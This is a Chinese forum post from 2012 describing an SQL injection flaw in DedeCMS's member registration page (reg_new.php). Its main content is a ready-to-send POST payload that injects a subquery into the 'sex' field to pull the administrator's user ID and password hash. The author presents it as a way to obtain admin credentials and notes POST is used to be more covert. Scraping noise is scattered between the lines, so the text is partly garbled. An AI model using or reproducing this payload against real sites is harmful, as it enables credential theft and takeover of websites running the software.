dedecms版本 20121122& i& T% a3 ~9 y1 J u
+ p) ]$ k' S0 k8 y/ K, l
需要magic_quotes_gpc=Off, Z- H# z6 Z+ w G& p J, I" m
9 f3 W- `4 R0 @' ~" I8 s! N应该是没有什么大危害的漏洞.
/ T7 f' t2 p9 S& L原来发过一个Dedecms注射漏洞,貌似并没有修补,重新利用了一下,可以获得管理员密码.- i' G; l) j, ~; H
; {0 l$ \' V U% B是一个漏洞.其实不仅仅是审核机制绕过,也可以获得管理员密码的.
/ E" _1 w. D! M! D3 q8 sPOST提交以下数据,其实不用POST提交的,这样隐蔽点.
! K4 z# n' H( W7 D1 f/ [9 I6 M2 M0 m; |- {5 k- t
http:///de/member/reg_new.php' ?$ ~! e& N9 N7 X
1 D& }8 Z5 X1 T* J: t
POST0 l8 E3 r2 e% L2 [
: Z0 C6 \8 O" ~2 m1 a8 g
dopost=regbase&step=1&mtype=%E4%B8%AA%E4%BA%BA&mtype=%E4%B8%AA%E4%BA%BA&userid=c4rp3nt3r&uname=c4rp3nt3r&userpwd=ssssss&userpwdok=ssssss&email=sss%40ss.ss&safequestion=0&safeanswer=&sex=boy',100,100,'sss@xx.xx',1000,0,'www' and @`'`,(select concat(userid,0x3a,pwd) from `#@__admin` limit 1),0,'',1316751900,'',1316751900,'');%00&vdcode=glos&agree=
& N5 N5 A, {3 e3 U, |- J, ?* _0 q2 H8 m" A8 f+ S# i! I
成功注册后,头像处里面有好玩的信息.1 z: y. l* p8 l( M
/ | Z' M& F) e2 a
|
发表于 2012-12-5 10:03:32
收藏
支持
反对